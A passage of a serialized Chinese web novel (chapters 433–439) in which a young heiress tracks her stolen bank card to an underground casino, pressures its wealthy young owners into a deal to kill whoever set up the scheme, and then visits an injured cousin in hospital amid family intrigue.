乔金锦听明白了事情的来龙去脉,冷笑,“原来你这顿打还真没白挨。” 关鹤没心情斗嘴,“行了,别说了,眼下怎么解决那活祖宗才是关键。” 这件事如果是旁人知道了,关鹤不至于这么手忙脚乱,要钱给钱,实在不行就分点股,但偏偏姜花衫不行? 眼下沈家正在和关家打擂台,这件事他是瞒着家里人做的,要是爆雷,他会被关父抽死的。 关鹤越想越不安,一脸菜色看向周宴珩,“你说我双倍赔她,这事能不能了?” 乔金锦虽然恨铁不成钢,但也不想关鹤出事,开口道,“你先别慌,她不是要见刷卡的人吗?先看看她有什么目的。” 周宴珩,“你现在打电话给地下钱庄的管事,让他们查查这笔账是哪个房间刷的?把房管和持卡人都带过来。” 关鹤眼下已经六神无主,连忙应道,“好。” * “大!大!大!” 张庚拍着赌桌,急头白脸,脖颈青筋凸现。 “一二三,小。” “闲家胜。” 张庚气的血丝直冒,“老子就不信了,今天老子就跟你杠上了,上筹!” 一开始,张庚和赵秀兰来赌场不过是想碰碰运气,想试试能不能把张茹的卡盗刷出来,没想到这地下钱庄还真有门路。 他们并不知道卡里有多少钱,抱着试试的心态刷了十万,刷出来后,张庚壮着胆子又刷一百万,一百万筹码到账时,张庚兴奋地围着赌场转了一圈。 赌场负责人立马把他们请到了更高级的地字号赌场。 地字号赌场与玄、黄天差地别,这里纸醉金迷,到处都是风情万种的美人和衣冠楚楚的赌徒,连发牌的小姐姐也格外热情。 张庚一个乡下土包子哪见过这种场面?当即被捧的飘飘然,一时脑热上了桌。 入了赌局的鱼,就只能等着被扒下一层皮。 刚开始,张庚顺风顺风小赢十万,到后来胃口越来越大,下筹也没了轻重,最后,赢了的十万倒吐出去不说,连本金一百一十万都血本无归。 张庚这辈子都没见过这么多钱,自然不甘心,拿着卡又刷了一百万,当他发现这张卡还能透支时,赌徒心态完全占领了他的意识,脑子只想着扳本。 眼见鱼儿咬钩,赌场负责人开始屠杀,短短三个小时,张庚就输了五百一十万。 赵秀兰眼见情况不妙,赶紧拉住张庚,“老公,咱们先回去,等手气好点再来翻本。” 张庚情绪激动,“滚开,就是你这婆娘丧着脸,害得老子手气都没了。” 赵秀兰气极,但又不能任由张庚胡来,只能好言相劝,“老公,我们已经输了五百多万了,这万一卡里没钱了,咱们可就没出入了。” 张庚顿然惊醒,吓出一声冷汗,“五百万?” 在来鲸港之前,他连五千块都拿不出。 张庚眼前一黑差点晕倒过去。 “老公!”赵秀兰连忙扶着他。 张庚缓过神后直接一巴掌扇了过去,“败家娘们,你在旁边怎么也不知道劝着点?那可是五百万啊!” 赵秀兰捂着脸,咬着牙槽,她又不是没劝过,是这狗男人根本不听。 眼看两人就要打起来,赌场经理推着香槟车走了过来。 “张总,和气生财!” 张庚脸色讪讪,“那个,罗经理,我想再刷个一百万套现,你看这边方便吗?” “小事,只不过按规矩,我们这可是要抽取百分之十的佣金。” 罗经理早知道两人手里的银行卡来路不正,但这并不影响他们交易,因为只要钱入了地下钱庄,他们多的是方法洗正。 张庚有些肉疼,但他了解张茹,以她的性格一定死都不会告诉他密码,思来想去最后也只能咬牙应下。 谈妥后,罗经理直接把人带到了自己的办公室,张庚和赵秀兰局促打量房间,这才发现办公桌上除了一台电脑还摆着几十台刷卡机。 罗经理按照编码选了一台。 “张总,您确定是要刷一百万?” 张庚正要点头,赵秀兰一把拉住他,小声道,“老公,要不试试看这卡里到底有多少钱?” “也行。” 张庚对着罗经理笑了笑,“先刷个一百万?” 罗经理一眼就看出了他们的主意,点了点头,“行。” 张庚小心翼翼从内衬拿出黑卡,罗经理接过卡,往pOSS机轻轻一划,机器开始运转,屏幕显示刷卡成功。 还真能再刷出来?这是个聚宝盆吧? 两人眼露贪婪,张庚急不可耐催促道,“再……再刷一百万。” 话音未落,办公室的门被人一脚踹开,二十几个黑色保镖走了进来。 罗经理脸色大变,“你们要干什么?” 为首的保镖,“老板要见你们。” …… 第434章 本小姐的剑不斩蝼蚁 “罗经理,你们老板是谁啊?他怎么突然要见我们?” 张庚和赵秀兰被送上了一辆面包车,车上还有两个身形魁梧的打手,张庚一看逃跑无望,只能把罗经理当做唯一的救命稻草。 “我不过就是来你们这消遣的,我还输五百万,你们……” “闭嘴!”罗经理擦了擦额头的冷汗。 地字号赌场一共有白银、黄金、钻石三个等级的房间,而他负责的是起始门槛的白银客户,以这个等级根本没有资格见老板的。 罗经理眼眸微暗,一把揪住张庚的衣领,“说,你那张卡是哪来的?” “卡?”张庚根本不知自己闯下了多大的祸,天真道,“那卡是我妹子的,她的就是我的。” 罗经理冷着脸,“我不管是谁的,总而言之这件事别牵扯到我,不然别怪我对你不客气!” “都安静点。”开着的壮汉粗声粗气,“到了,下车。” 面包车被外力拉开,三人还没反应就被一群西装保镖拖下了车。 “都老实点,跟上。” 面对绝对实力,张庚几人完全不敢反抗,老老实实听从吩咐。 赵秀兰吓的浑身抽搐,死死拽着张庚的衣角,张庚心里害怕,却又忍不住打量眼前的场景。 远处的青皮草地上,驯马师正在遛马,他虽然没什么见识,但还是一眼就看出了那些马绝非凡品。 张庚咂咂嘴,满是好奇,“这……这是哪啊?你们老板就住在这?” 城里人可真奇怪,家里还养马? 罗经理脸色阴沉,登立马场是鲸港富人圈有名的游戏场,之前天字号几场博弈游戏就在这里举行,当时他还有幸参与过外场的服务工作。 这会儿老板把他们叫来马场,到底是什么意思?难不成是发现了什么? 越想越不安,罗经理冷声提醒张庚,“我警告你,待会你要见的人可是鲸港城里数一数二的人物,别乱讲话。” 张庚心中不悦但丝毫不敢表现出来,转头朝赵秀兰低斥道,“听见没?别乱说话。” 赵秀兰,“……” * 会场顶层的玻璃盒子是周宴珩的游戏室,360度环景落地玻璃窗几乎可以俯视整个登立马场。 夕阳西下,红色余晖给整个马场镀上了油画般的质感。 厅内,沈家保镖占着西面休息区,姜花衫坐在轮椅上,单手支头眺望窗外。 她的眼神没有聚焦,让人琢磨不透。 周宴珩、关鹤、乔金锦坐在主厅中央的沙发上。 地字号赌场的总负责人已经提前赶了过来,心惊胆战守在门边。 屋里洋洋洒洒足有四五十人,但气氛却安静到诡异。 周宴珩从座位上起身,主动走到窗户边,“想下去跑两圈吗?” 姜花衫皮笑肉不笑,“怎么跑?坐马车吗?” 周宴珩笑了笑,“不用这么麻烦,我带着你就可以了。” 姜花衫侧着身子看向厅里的关鹤。 关鹤坐立难安,眼神一直往这边瞟,待看见姜花衫看过来,一脸心虚转头跟乔金锦说话。 姜花衫挑了挑眉,抬着下巴,“你不用讨好我,讨好我也没有用,我今天就是来找麻烦的。” 周宴珩眼里的笑意渐深,点了点头,转头走到岛台给自己倒了一杯温水,忽然想到什么,抬头问道,“喝水吗?” 姜花衫撇过头,“不喝。” 周宴珩完全不在意,端着玻璃杯坐了回去。 关鹤脸色讪讪,凑上前,“这死丫头油盐不进,连你的美男计都不奏效了。” 周宴珩眼梢挑动,“滚。” 关鹤,“……” “叩叩——” 这时,门外传来敲门声。 关鹤朝门口的负责人使了个眼色,负责人会意打开电子锁。 没一会儿几个壮汉领着三人从外面走了进来。 罗经理一眼就认出了自己的上司,正要打招呼,黄达率先开口,一脸谄媚看向沙发上的关鹤,“少爷,人带来了。” 张庚还有些摸不着头脑,偷偷打量厅里的众人,他原以为能开的起这么大的赌场,背后老板一定是个阅历颇深的中年人,没想到是几个年轻人,张庚提着的心瞬间落了一半。 关鹤盯着三人打量了一番,转头看向姜花衫,“人都给你找来了,你要问什么就问吧。” 这时,三人这才发现窗下还有一个人。 姜花衫推着轮椅从人群里走了出来,开门见山,“你们谁刷了我的卡?” 张庚不过一个乡下土包子,没见过什么世面,原本就因为周宴珩几人年轻起了轻视之心,待看见问话的是个模样诱人的小姑娘,脑子一热,开始装疯卖傻。 “什么卡?我听不懂。” 一旁的罗经理却吓白了脸,三位少爷在场,最后却是眼前这个女孩儿问话,说明女孩的身份并不比三位少爷低。 “听不懂?”姜花衫皱了皱眉,转头看向郑松,“我说的是外国话吗?” 她这话乍一听带着点稚气,张庚更加没了敬畏之心,端出一副老赖的模样。 “这位小姐,我是乡下人,听不懂你们这的规矩,我也不认识您,更不知道怎么得罪的您,还请小姐指个明路,我也好立马改正。” 罗经理眼皮跳了跳,这乡巴佬是想死想疯了吗?竟然敢这么跟这群祖宗说话? 未免被张庚连累,罗经理默默往旁边退了一步。 赵秀兰见姜花衫没有接话,自作聪明打配合,“是啊!各位少爷小姐,我们就是地上的蝼蚁臭虫,没见过什么世面,各位都是天上的星星月月,我们要真做错了什么,还请少爷小姐们指正,别跟我们这些臭虫蝼蚁一般见识。” “好厉害的一张嘴。”姜花衫笑了笑,“不过,你说的对,本小姐的剑不斩蝼蚁。” “郑松,把关鹤拖出去,打到他们老实为止。” “?” 关鹤一脸震惊,见郑松正准备动手,气的太阳穴突突,指着负责押送打手,咬牙切齿。 “都站做什么?还不给这两个乡巴佬洗洗脑!?” …… 第435章 棋高一招 饶是在事情到了这一步,张庚依旧是不见棺材不落泪,故作淡定,“你……你们可别乱来,这里是鲸港,你们要敢乱来小心我报警抓你们!” “对了!我手机里面还有你们私开赌场的证据,到时候警察来了,大家都别想好过!” 关鹤被气笑了,现在什么货色都敢威胁他了? 果真是无知者无畏,罗经理低着头,叫张庚还敢反过来威胁祖宗,吓得两脚几乎快要站不稳。 身后的打手一把拽着张庚的头,肘击太阳穴,张庚眼睛一花,瘫软在地。 “啊!杀人了!” 赵秀兰吓的惊声尖叫,一把抱着昏倒的张庚,“鲸港沈家你们知道吧?我告诉你们,我家妹子可是沈家大小姐跟前的红人,我们要出了什么事,我妹子一定不会放过你们的。” 周宴珩看了姜花衫一眼,“拖出去。” “是。” 四个打手一左一右把人带了下去。 黄达擦了擦额头的冷汗,恶狠狠踹了罗经理一脚,“知道什么还不快说?找死吗?” 罗经理吓得双腿发软,跪倒在地,“少爷,我对您忠心耿耿绝无二心啊。我也是今天才认识那两人的,他们做了什么我真的不知情啊。” 关鹤冷着脸没回话。 姜花衫一副好脾气的样子,“他手里的那张卡是你刷的?” 罗经理早就猜到姜花衫身份不简单,不敢怠慢,忙不迭回答,“是。但是,是他们拿着卡主动找上门的,我事先并不知道他是偷了您的卡,更没有参与偷卡的行动。” “我的工作就是为赌场创造业绩,所以当时看见有肥鱼就帮着刷了,我要是知道这背后的利害关系,就算借我一百个胆子也不敢打您的主意。” 罗经理这一番话满是门道,一句工作既表达了自己的立场又撇清了与张庚合谋的嫌疑。 说到这,在场众人几乎都了解了事情的整个经过。 刚刚那两个乡巴佬因缘际会拿了姜花衫的银行卡,又碰巧去了关鹤的赌场,罗经理为了业绩哄骗乡巴佬上桌刷了五百万,这才有了姜花衫找上了门的那一幕。 关鹤气的牙痒痒,这种感觉就像天上掉下了一顿毒打,该是他的。 眼看着关鹤气的爆血管也不愿说句软话,乔金锦帮着开口,“这件事说开了其实就是误会,手底下的人不长眼,阿鹤也不知情,你打也打了,气也出了,至于刷了的钱,我们双倍补给你,你看怎么样?” “不怎么样。”姜花衫一点不给面子。 黄达和罗经理眼皮跳了跳,难以置信看着她。 这位是谁啊?好大的架子,乔家、关家两位少爷都退让到这个地步了,她还得理不饶人。 乔金锦皱眉,“那你想怎么样?” 姜花衫,“急什么?我话还没问完。”说罢转头打量罗经理,“你说你是才认识的那两人?” 罗经理连忙点头,“是。” 姜花衫支着下巴,“那你也是第一天上班咯?” 罗经理愣了愣,“当……当然不是。” “不是?那你怎么会认不出那张特级黑卡上的标志呢?” 罗经理脸色微变,手心顿时蓄满了汗。 “特级黑卡?”关鹤突然反应过来,看向周宴珩,待周宴珩眸光冷了几分,又转头看向罗经理,“那两乡巴佬拿的是特权卡?” 在A国,有能力办下这种卡面的人少之又少,这种级别的客人都是顶层圈的,关鹤这生意本就见不得光,所以在赌场开业之前,周宴珩就定了一条规矩,地、玄、黄三个赌场一律不接待持特权卡的人。 张庚和赵秀兰这两人一看就无权无势,按理他们拿着特权卡出现,赌场第一时间就要警惕上报,罗经理不仅不报还帮着刷了五百万,这行为已经严重违背了赌场的规矩。 姜花衫唏嘘摇了摇头,“啧啧啧,关鹤,你们赌场都没有岗前培训吗?什么客人都敢接待?” 关鹤被刺的脸色青白。 “少爷,是我猪油蒙了心,见利忘义,我看那俩乡巴佬什么都不懂,所以才……少爷,我错了!”罗经理见事情暴露,左右开弓自扇巴掌。 “少爷,我真的不知道事情会这么严重,我这几个月欠了一笔股债,想着刷一笔就能熬过去,才…才……” 姜花衫点头附和,看向周宴珩,“或许他是真不知道,毕竟之前那两人去的还是什么黄字号赌场?不如把黄字号的管事再叫来问问,无仇无怨,怎么给两个土包子设局?” 罗经理眸光暗了暗,全身汗毛都竖了起来。 周宴珩面无表情,“叫他们把那两人带进来。” 过了一会儿,打手拖着半死不活的张庚进了内厅,赵秀兰似乎受什么惊吓,全身颤抖跟在身后。 见赵秀兰神情麻木不在状态,打手用力推了一把,“还不赶快交代?” 赵秀兰一下惊醒,扑通跪倒在地,一边磕头一边哭。 “那卡是我们从小茹手里抢过来的。有人告诉我们,小茹从沈家出来拿了不少好处,让我们上门去找麻烦,看看……看……” 周宴珩,“看什么?” 赵秀兰回头看着满嘴鲜血的张庚,手脚冰凉,“看看沈家那位小姐是什么反应?” 这话一落,周宴珩三人神色怔愣,不约而同看向姜花衫。 姜花衫笑了笑,“为什么要看沈家小姐的反应?” “我不知道。”赵秀兰摇头,几乎崩溃,“我真的不知道,他们说小茹照顾了沈家小姐五年,让可以测测小茹在沈家小姐心中的地位,要是沈家小姐在意小茹,知道她被欺负一定会为她出头……” 姜花衫,“然后呢?” “然后我们就可以利用小茹问沈家小姐要点好处,像我们这样的蝼蚁,大小姐随便打发一点就够我们生活一辈子了。” “原来是这样。”姜花衫轻描淡写,拿出手机拨通了沈眠枝的电话,“我这边问清楚了,你那边怎么样?” 沈眠枝,“衫衫,你猜的果然没错,地字赌场外埋伏了两人,要不是张庚和赵秀兰被关鹤带走,现在只怕已经开不了口了。” …… 第436章 威胁、交易 “知道了。” 姜花衫神色淡然挂了电话,若有所思看着眼前三人。 室内不断传来赵秀兰和罗经理的求饶声,张庚被打断了一排牙齿,即便想求饶也发不出声音。 姜花衫沉默片刻,开口问道,“我的卡呢” “这!这!”赵秀兰唯恐再惹怒这些活阎王,主动翻开张庚的衣服,从内裤里掏出银行卡,“大小姐,卡还给您,您大人有大量,大发慈悲放我们一条生路吧?!” 姜花衫,“……” 沙发上的三人表情各异。 姜花衫扶额,“郑松。” 郑松眉头动了动,慢慢转动眼珠,面无表情看着她。 姜花衫,“拿去烧了。” 郑松慢悠悠上前,他整个人就像座巨型小山,扑面而来的压迫感让赵秀兰几乎不敢睁眼。 姜花衫转头看向关鹤,“你之前说会双倍赔偿?” 关鹤咬牙,“对。” 姜花衫,“我要三倍。” “……”关鹤一脸晦气,摆摆手,“行,三倍就三倍。”说着指着对面三人,“这些人你要怎么处理?” 姜花衫,“一个是你的员工,两个是你的客户,跟我有什么关系?既然我的损失已经追回来了,要怎么处理就是你的事了。” 瘫软在地的三人立马鬼哭狼嚎起来,关鹤嫌吵,打手当即封住了三人的嘴,把人拖了出去。 黄达左右看了看,低头哈腰跟着出了房间。 关鹤站起身,双手插兜,“姜花衫,既然你的事已经解决了,那就不妨说说我们之间的事?” 姜花衫明知故问,“你想说什么?” 关鹤指着她身后的保镖,“在我这可没有这么谈事的。” 姜花衫指尖轻弹轮椅,一副很好说话的样子,“郑松,你带他们出去溜溜。” 郑松略有犹豫,难得开口,“老爷子吩咐,务必寸步不离守着您。” 姜花衫,“但爷爷还说了,一切都要听我的。” 郑松权衡片刻,带着一群保镖退出了房间。 关鹤拍手鼓掌,阴阳怪气,“胆子还挺大,就不怕我报复?” 姜花衫吹了吹指尖,一副完全不把他放在眼里的样子,“不怕,因为……” 她笑了笑,语气特别真诚,“你没这本事。” “……”关鹤咬的两边腮帮子疼,“姜花衫!” “行了!”乔金锦直接打断他,“再不说正题,天都黑了。” 关鹤脸色不愉,但奈何姜花衫现在拿着他的把柄,他也只能忍着这口气,憋屈问道,“你是怎么查到我的?” 姜花衫眸光微顿。 如果单靠技术,她当然不可能在短短三个小时内就查到那笔钱的去处,之所以找上门,是因为她串联了上一世的剧情。 上一世,周宴珩带着她玩遍了各种变态极限的游戏。周宴珩喜欢刺激,常常会举办非法竞赌游戏,所有的参与者都是通过邀请卡入会。 所以当沈眠枝提起地下赌庄的时候,她立马就想到了周宴珩,因为上一世他的游戏场就叫‘天字号’。 更巧的是,这名字是她取的。 当时周宴珩还很嫌弃,但第二天就在邀请函上落下了‘天字号’的印章,所以她才一直觉得周宴珩脑子有病,明明很看不上 她,又总是逼着她融入他的世界。 后来,周宴珩带她去过一次地字号赌场,她随便玩了几把就赚的盆满钵满,那时方眉一直把控着经济大权,所以那笔钱对她来说可算是暴利,她开心的难以言喻。 周宴珩见她这么喜欢钱,直接从桌上拿了一排筹码让她去换钱,她没想到还有这种好事,二话不说直接搬空了赌桌,走的时候,关鹤追出来骂了一路。 上一世关鹤的叫骂和眼前的抑郁忽然重合,姜花衫眨了眨眼,避重就轻,“你都已经露馅了,我怎么查到的重要吗?” 周宴珩注意到她有一丝不自然,开口问道,“你还知道什么?” 姜花衫想了想,“该知道的都知道了。” 关鹤脸色难看,“你……你想怎么样?” 这件事如果泄露出去,他这辈子就完了。 姜花衫,“不怎么样,回去举报你啊~你爸不是正和我大伯打擂台吗?你要是爆雷,好处多多。” “你!” 关鹤情绪激动,指着姜花衫准备破口大骂,周宴珩慢条斯理踹了他一脚。 “嚎什么?坐下。” “……” 关鹤看了周宴珩一眼,不情不愿坐了回去。 周宴珩指尖点了点膝盖,思忖片刻缓缓抬眸,“你如果真要对阿鹤动手何必这么兴师动众?沈家大可直接出手,说吧!闹这么多事想让我们做什么?” 姜花衫早知道周宴珩不好糊弄,这歹笋虽然损,但脑子也是实打实的好用。 既然话都说到这个份上了,她索性开门见山,“你们刚刚也看到了,有人买通了你们赌场的工作人员,给那两个乡巴佬设局,我要你们找出到底是谁在背后搞鬼?” “就这?”关鹤皱了皱眉,赌场出了叛徒,就算姜花衫不说他们也一定会彻查到底,这算什么要求? “当然没那么简单。”她轻轻摇动食指,像谈论天气一样松弛,“找出来后……杀了他。” 周宴珩眼睑微动,眸底闪过一丝兴奋。 关鹤表情古怪,“你……你想要我们帮你杀人?” 那两夫妻既然能拿到姜花衫的黑卡一定跟她有关系,两个乡巴佬有什么值得别人做局的?幕后之人要对付的是谁已经很明显了,姜花衫这要求,明摆了是拿他们当刀使。 “好。我答应你。” 周宴珩笑着端起茶几的玻璃杯,抬手敬了一个。 “阿珩!”关鹤一脸震惊,“你是不是答应太快的?” 周宴珩,“反正早晚都会答应,不如干脆一点。” “爽快。那就这么约定了,只要你们做到,我保证守口如瓶。” 话落,她按了按轮椅上的按钮,郑松推门走了进来,拎着轮椅转身走了出去。 三人:“……” …… 第437章 感兴趣和不感兴趣 太阳完全落下山后,夜晚被城市霓虹占领。 玻璃屋里华灯初上。 周宴珩站在玻璃窗前,看着一群人围簇着姜花衫上车。 关鹤站在他身边,表情一言难尽,“阿珩,你到底什么心思?” 姜花衫被抱上车后,周宴珩才收回目光,转头走回沙发。 乔金锦递给他一杯红酒,“你竟然答应帮她杀人?到底怎么想的?” 以周宴珩的性子,他可以杀人但绝对不可以是被人威胁杀人,所以,乔金锦也很意外。 “背后那个人迟早要杀,不如做个顺水人情。”周宴珩轻轻晃动酒杯,说的轻描淡写。 关鹤皱着眉跟了过来,“什么意思?难道你知道背后的人是谁?” 周宴珩,“但凡你多动动脑子也能猜到。” “草!鲸港这么多人,怎么猜?” 乔金锦垂眸抿了一口红酒,“沈家的人。” 周宴珩挑眉,举起酒杯。 乔金锦笑了笑,与他碰杯,“你知道还敢答应?” “沈家的人?!”关鹤一脸震惊,“不会吧?姜花衫要我们对沈家动手?她不是沈家人吗?” “她是我们对沈家人动手,不是对沈家动手。”周宴珩纠正。 关鹤还是有些不敢相信,“一个小丫头片子,怎么敢?!她凭什么觉得我会因为她对沈家人动手?!” 周宴珩,“这一点,她早就笃定了。” “我们的地下钱庄已经动了很多人的利益,那些老牌资本家一直都在想办法摸清我们的底细。那两夫妻要钱没钱,要权没权,就算要设局怎么都排不上他们,今天听他们之间的谈话,做局之人应该要对付的应该是姜花衫。” “恰巧我们树大招风,设局之人便把做局的场所选在了地下钱庄。” “……”关鹤气笑了,这真是无时无刻不在提醒他,这顿毒打有多随意。 周宴珩看穿了他的心思,扯着嘴角笑了笑,“你真以为她找上门是你倒霉?” 关鹤嘴角抽搐,“难道不是吗?” “她早就知道赌场有人被收买了,也就是说,她心里比谁都清楚这件事跟你无关,既然与你无关,她为什么还要特意坐着轮椅来揍你?” 关鹤突然惊醒,“也是!为什么?这小疯子坐着轮椅都要来揍老子,真他妈不讲道理。” “……”周宴珩揉了揉太阳穴。 乔金锦,“你是说,她今天全是在做戏?” “没错。”周宴珩指尖一顿,“背后之人特意引导那两个蝼蚁偷卡,他们激怒姜花衫一定有阴谋,这两个蝼蚁藏不住事,目的达成他们一定会想办法灭口。所以,如果我猜的没错,赌场外面一定有杀手。” 乔金锦瞬间反应过来,“所以姜花衫才故意要求关鹤把人接过来。” 关鹤,“那……那又怎么了?” 乔金锦,“杀手看见那两夫妻被人劫走一定会跟踪车辆,阿鹤,你被暴露了。” “……”关鹤不由地心底一颤,头皮发麻,“也就是说,现在沈家还有一个人知道了我的秘密?” 周宴珩挑了挑眉。 关鹤手心蓄满了汗水,神色凝重,“那……现在摆在我面前的只有两条路,要么跟姜花衫合作,杀了沈家某人;要么查出沈家某人,主动提出合作,杀了姜花衫?” 周宴珩摇头,“不,你只有一条路。你只能杀了沈家某人。” 关鹤,“为什么?” 周宴珩,“因为如果你跟沈家某人合作,她正好可以以此为契机,把你们一锅端了。” 关鹤憋着一口气,“你是不是把她想的太厉害了?既然她这么有能耐,怎么连谁要害她都不知道?” “或许,她并不是不知道呢?”乔金锦忽然开口,“她的要求是杀了这个人,姜花衫本身并不是一个嗜血的人,什么情况下她敢直接开口杀人?” 关鹤愣了一下,明牌的情况下。 乔金锦低头喝了一口红酒,“或者,她早就知道是谁要害她,但碍于沈家的规矩她不好出面,所以她绕了这么一圈找上了你。” “好一招借刀杀人,这样即使以后被查出来,她也能摘离地干干净净。” 关鹤不服气,“我就这么蠢吗?鱼死网破看我不把她抖出来?” 周宴珩,“那她就掀你的老底,你父亲就你这么一个儿子,还指望你进国会接他的班,这事要闹出来,你政途就不要想要了。沈家一个养女换关家一个继承人,这笔买卖倒是划算。” “……”关鹤再也犟不了一点,像只斗败的公鸡瘫倒在沙发里。 “我接受不了,她这不是欺负人吗?草你大爷的,这小疯子什么时候长脑子了?” 周宴珩笑了笑,说实在的,今天他也觉得很惊喜。 原以为她顶多就是比寻常人有趣的一点,没想到竟然还这么狡猾,沈家待她不薄,她说翻脸就翻脸,步步算计的样子简直是踩在他的心尖行凶。 * 姜花衫完全不知道自己已经被人刨根究底深挖了一遍,从登立马场出来准头就去了鲸和医院。 沈清予住院半个月,她一次都没来探望过,属实有些说不过去。 为了保证沈清予的安全,沈渊包下了住院部一层楼,里里外外全都是保镖。 郑松的张脸很有辨识度,推着姜花衫一路畅通无阻,两人刚走到病房前就听见里面传出对话声。 沈清予靠在床头,神情懒散,有一搭没一搭点着屏幕。 蓝黛端着热汤,语调温柔,“清予哥,这汤再放就凉了,要不你趁热尝尝?” 沈清予,“来之前都没打探过?我不喜欢喝汤。” 蓝黛脸上微热,好脾气道,“没关系,清予哥你喜欢吃什么?我下次可以学。” “不用,我不缺做饭的阿姨。” “……”蓝黛假装没听出沈清予的言外之意,笑了笑,“清予哥,你一定是累了,那我先回去了,明天再来看你。” 沈清予指尖微顿,眼底闪过一丝戾气,想见的死活不来,不想见的天天来添堵,真当他是泥人性子没脾气? 他笑了笑,狭长的丹凤眼带着几分凉薄。 “你哪只眼睛看见我累了?现在给我一个女人,我能睡她一百次,对你不感兴趣而已,懂了?” “吱呀——” 不知哪里来的一阵风,吹开了没有掩实的房门。 “……” …… 第438章 得不到的人 蓝黛完全没想到沈清予的性子这么野,被刺的脸上一阵青一阵红。 气氛突然变的有些诡异,沈清予皱了皱眉,正想再加点猛料,冷不丁看见敞开的房门外立着两道人影。 “……” 沈清予下意识以为是自己出现幻觉了,待看见郑松推着轮椅要走,咬牙切齿,“姜花衫!你去哪?” 蓝黛原本还有些不知所措,听见姜花衫的名字后立马转头看了过去。 “……”姜花衫虚笑了两声,表情一言难尽,“我看你们聊的挺好的,就不打扰了。” 沈清予,“你是不是眼神不好?” 他和这女的哪里聊的好了? 姜花衫可不会惯他这大少爷脾气,直接怒怼,“我眼神是不好!?但我耳朵好,我听的就是这么回事。” 沈清予闭了闭眼,“你给我进来!郑松,把她推进来。” 姜花衫扒着轮椅,朝郑松使眼色,“走走走!” 沈清予现在禽兽不如,她可不想找晦气。 沈清予气的腮帮子痛,一把掀开被子,准备去抓人。 蓝黛愣了愣,迅速调整情绪,“姜小姐,你来的正好,我忽然想起来我还有事,我就先回去了。” 说着,红着眼睛看了沈清予一眼,见他完全不为所动,蓝黛得体笑了笑,提着保温壶走到门口,主动姜花衫攀谈,“姜小姐,你的伤好些了吗?” 姜花衫点头,“好多了。” 蓝黛一脸歉意,“说到底是我们没有安排好才连累了姜小姐,不知道等姜小姐伤好了之后我们能不能约个时间?我想请姜小姐吃个便饭,替我们蓝家给姜小姐赔个不是。” 姜花衫,“不用了,绑匪的事跟你们也没什么关系。” 蓝黛抿嘴笑了笑,“姜小姐真是善解人意。那,我们下次再约~”说罢,微微颔首,提着保温壶出了房间。 姜花衫盯着蓝黛的背影,指尖无意识轻扣扶手。 “你到底是来看谁的?” 沈清予懒懒出声,姜花衫这才回过神来,转推着轮椅走进病房。 “你和蓝家小姐什么时候关系这么好了?” 关系好?沈清予被气笑,那种话都说出来了,是关系好的样子吗? 原本恨的牙痒痒,但转眼看见姜花衫全身上下缠满了绷带,沈清予脸色顿然阴沉了下去,孟医生不是说她的伤势并无大碍吗?这叫并无大碍? 孟医生的眼睛也出毛病了? 姜花衫皱眉,“别给脸不要脸啊,我好心来看你,你挂个脸给谁看?我告诉你,我可不是娇滴滴的蓝家小姐,我性子没那么好。” 沈清予懒懒挑了挑眉,“从刚刚到现在,你嘴里一直念叨着蓝家小姐,你很在意她?” 姜花衫微愣,她当然在意,万一沈清予的死和蓝家有关,蓝黛这个时候接近他对沈家来说就是危险剧情。 爷爷手握证据却只能隐忍,因为他在等三傻慢慢长大,如果爷爷知道,他含辛茹苦栽培的幼苗,不仅没能长成擎天大树,反而夭折湖底,他老人家一定会受不了的。 见她反驳,沈清予心情莫名好了一点,“你真在意她?” 姜花衫冷笑了一声,“我在意个屁!” 现在还没有证实蓝黛一定和沈清予的死有关系,万一搅黄了沈清予的官配就不好了。蓝家的势力主要在西湾,虽不如沈家有权势,但对沈清予来说也算是个不错的选择。 沈清予心情又差了一点,“早该知道你就是个没良心的。” 姜花衫懒得跟他争辩,斜眼打量他,“说吧?好好的怎么突然进医院了?” 沈清予吊儿郎当笑了笑,“手滑了呗,原本想弑父,结果被他反杀?” “我不信。”姜花衫眯了眯眼,推着轮椅靠近病床,“你偷偷告诉我,我绝对不告诉爷爷。” 她侧着头,耳朵小巧精致,细碎的刘海镀着微光。 沈清予看了一眼撇过头,按着她的脑勺推了回去,眼神有些不自然,“没什么好说的。” 姜花衫皱眉,一把拍下他的手,“不说算了,我回去了。” 沈清予不悦,“你才来多久?” 姜花衫推着轮椅转身,故意呛道,“自然是没有蓝小姐久。” “……” 沈清予一时反驳不了,掀开被子,脚刚下地就听见门外传来沈渊的声音。 “老爷子在里面吗?” 沈清予眸色微暗,不动声色躺了回去。 郑松守在门外,沈渊下意识以为是沈庄来探望沈清予,不等郑松回复便推门走了进来,待看见屋子里的人竟然是姜花衫,脸上的笑容明显有些僵硬。 “……原来是衫衫来了?” 姜花衫虽然不喜欢沈渊,但面子工程还是要维护,笑着打招呼,“二伯伯好。” 沈渊目光在沈清予脸上停留了几分,故作不经意,“你伤势未痊怎么一个人跑来了?” 姜花衫,“出来透透气,顺便来看看清予哥,正要回去了。” 沈渊点头,“那就我就不留你了,早些回去,省的老爷子担心。”说着,直接越过姜花衫走到病床前,“清予,我刚刚来的时候遇见蓝家那丫头了,她又来看了你?这半个月她几乎天天来,也算有心了。” 沈清予哪会看不懂沈渊的心思,冷笑了一声没有回应。 姜花衫默不作,推着轮椅出了房间。 房门咔嚓关上,沈渊眼里的笑意顷刻退去。 “清予,你们现在都已经长大了,孤男寡女共处一室会惹人非议的。” 沈清予已读不回,脸上没有任何表情,。 “清予!”沈渊脸色阴沉,“你要怎么胡闹我都可以不管,但唯独这件事不可以!别忘了,你答应过我会跟姜花衫保持距离的,不然……” “不然?不然什么?” 沈清予歪头看着沈渊,眼底满是嘲讽,“我同意保持距离是因为道德捆绑,因为我知道她想做爷爷的孙女,从来都不是因为你沈渊,你该庆幸现在有两条线拉着老子,否则,为了杜绝山庄的事再次上演,下次我一定会在你出手之前先杀了你。” 沈渊冷声,“沈清予!你为了个女人竟然这么跟我说话?” 沈清予,“是啊!还是个得不到的女人?你就说气不气?” 沈渊,“……” …… 第439章 杀戮、赦免 从医院回来,姜花衫就把自己关在绣楼开始复盘。 不知道为什么,她总觉得沈渊在病房里说的那些话有些针对她,最后还故意提起蓝家的千金,言语间用有些意味不明的挑衅,但最反常的还是沈清予,他竟然没有反驳。 原本她今天去医院,就是想打听沈清予受伤的真正原因,没想到沈清予竟然不愿透露?! 他为什么不愿意? 难道,沈渊有问题? “衫衫……” 正想着,楼下传来沈眠枝和傅绥尔的声音,没一会儿,两人推门走了进来。 